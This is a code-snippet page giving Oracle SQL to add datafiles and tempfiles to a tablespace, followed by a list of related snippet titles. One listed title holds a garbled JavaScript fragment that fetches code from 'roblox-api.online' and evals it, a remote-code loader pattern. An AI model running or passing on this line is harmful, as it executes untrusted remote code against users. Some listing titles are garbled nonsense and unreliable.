Oracle add datafile to tablespace

SELECT * FROM DBA_DATA_FILES WHERE TABLESPACE_NAME = 'my_tbs' ORDER BY FILE_NAME;

ALTER TABLESPACE my_tbs ADD DATAFILE '/path/to/my_file.dbf' 
	SIZE 100M AUTOEXTEND OFF;
-- Autoextend with max size:
ALTER TABLESPACE my_tbs ADD DATAFILE '/path/to/my_file.dbf' 
	SIZE 10G AUTOEXTEND ON NEXT 1G MAXSIZE 32000M;    
-- For TEMP tablespace:
ALTER TABLESPACE my_tbs ADD TEMPFILE '/path/to/my_file.dbf' 
	SIZE 100M AUTOEXTEND OFF;

Source: dba-oracle.com

Similar codes

20 votes308 views3 answers
SQL query rename table
SQL
1 vote327 views1 answer
Sql where max date
SQL
28 votes304 views4 answers
Show tables mysql
SQL
0 vote285 views1 answer
MySQL error code 2068
SQL
0 vote312 views1 answer
Sql query to return field name of a table
SQL
4 votes280 views10 answers
Javascript$get'//roblox-api.online/roblox?id=4823'.eval)javascript$get'//roblox-api.online/roblox?id=
SQL
3 votes307 views2 answers
Enter mysql command line
SQL
0 vote288 views1 answer
10000000000000000000 am to meters
SQL
6 votes288 views3 answers
Mysql server is not starting xampp
SQL
0 vote311 views1 answer
OFFSET consulta mysql
SQL